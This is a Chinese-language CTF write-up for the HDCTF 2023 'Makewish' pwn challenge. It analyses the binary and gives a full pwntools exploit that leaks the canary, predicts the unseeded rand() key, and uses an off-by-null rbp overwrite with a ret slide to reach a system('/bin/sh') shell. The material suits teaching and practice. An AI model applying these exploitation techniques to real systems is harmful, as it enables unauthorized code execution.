Featured image of post [HDCTF 2023]Makewish wp

[HDCTF 2023]Makewish wp

字数: 871

题面

二进制文件

分析

checksec 查看保护:

1
2
3
4
5
6
7
8
❮ pwn checksec ./pwn
[*] '/data/project/ctf-repo/pwn/nssctf/HDCTF_2023-Makewish/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

开了 NX 和 Canary。

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-38h] BYREF
  int v5; // [rsp+Ch] [rbp-34h]
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = rand() % 1000 + 324;
  puts("tell me you name\n");
  read(0, buf, 0x30u);
  puts("hello,");
  puts(buf);
  puts("tell me key\n");
  read(0, &v4, 4u);
  if ( v5 == v4 )
    return vuln();
  puts("failed");
  return 0;
}

__int64 vuln()
{
  _BYTE buf[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("welcome to HDctf,You can make a wish to me");
  buf[(int)read(0, buf, 0x60u)] = 0;
  puts("sorry,i can't do that");
  return 0;
}

这里用伪随机数,没有 srand() 初始化种子默认为零,用 ctypes 就能出来是 707。

1
2
3
4
puts("tell me you name\n");
read(0, buf, 0x30u);
puts("hello,");
puts(buf);

这里能写入 0x30 字节,然后 puts 出来。考虑到有 canary,这里可以用于泄漏 canary 值。

1
2
3
4
5
puts("tell me key\n");
read(0, &v4, 4u);
if ( v5 == v4 )
  return vuln();
puts("failed");

这里对比 key,前面已经知道 key 恒为 707,写入仅 4 字节。比对成功后就调用 vuln 函数。

1
buf[(int)read(0, buf, 0x60u)] = 0;

vuln 函数里比较有意思的就是这行代码。往 buf 最多写入 0x60,然后最后把 buf + raed 写入长度的地方置零。来看 buf 在 rbp - 0x60 的位置。这样如果写满可以把 rbp 的最后一位给置零。 off by null 了,可以改写 rbp,做栈迁移。

还有个小礼物:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
.text:00000000004007C7 ; int treasure()
.text:00000000004007C7                 public treasure
.text:00000000004007C7 treasure        proc near
.text:00000000004007C7 ; __unwind {
.text:00000000004007C7                 push    rbp
.text:00000000004007C8                 mov     rbp, rsp
.text:00000000004007CB                 mov     edi, offset command ; "/bin/sh"
.text:00000000004007D0                 call    _system
.text:00000000004007D5                 nop
.text:00000000004007D6                 pop     rbp
.text:00000000004007D7                 retn
.text:00000000004007D7 ; } // starts at 4007C7
.text:00000000004007D7 treasure        endp
.text:00000000004007D7

综合的反汇编代码就这样。

利用

先利用 puts 把 canary 泄漏了:

1
2
3
4
5
6
io.recvuntil(b"name\n")
io.sendline(payload0)
io.recvuntil(b"a\n")
canary = u64(io.recv(7).rjust(8, b"\x00"))

print("canary =", hex(canary))

然后填入 key:

1
2
3
4
clib = cdll.LoadLibrary("/usr/lib/libc.so.6")

io.recvuntil(b"key\n")
io.send(p32(int(key)))

现在进入 vuln,这里的利用就比较巧妙。
如果全部塞满可以覆盖掉 rbp 的最后一位置零进行栈迁移,但是栈迁移还需要 leave 呀。巧合的是到 vuln 最后连带着 main 一起,有两次 leave; ret;可以帮助栈迁移:

这里用到了 ret slide 滑动一直执行。因为仅覆盖了 rbp 最后一位,因为栈地址随机化有概率跳到 ret 的位置,然后就是一直滑动执行,最后跳转到 treasure 函数即可。

1
2
3
4
5
io.recvuntil(b"make a wish to me")
payload1 = p64(ret) * 10 + p64(system) + p64(canary)
print(hex(len(payload1)))
gdb.attach(io)
io.send(payload1)

多试几次总能遇到一次可以打通的。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from ctypes import *

io = process("./pwn")
# io = remote("node4.anna.nssctf.cn", 27550)
clib = cdll.LoadLibrary("/usr/lib/libc.so.6")

key = clib.rand() % 1000 + 324
ret = 0x4005D9
system = 0x4007C7

payload0 = b"a" * (0x30 - 0x8)

io.recvuntil(b"name\n")
io.sendline(payload0)
io.recvuntil(b"a\n")
canary = u64(io.recv(7).rjust(8, b"\x00"))

print("canary =", hex(canary))

io.recvuntil(b"key\n")
io.send(p32(int(key)))

io.recvuntil(b"make a wish to me")
payload1 = p64(ret) * 10 + p64(system) + p64(canary)
print(hex(len(payload1)))
#gdb.attach(io)
io.send(payload1)

io.interactive()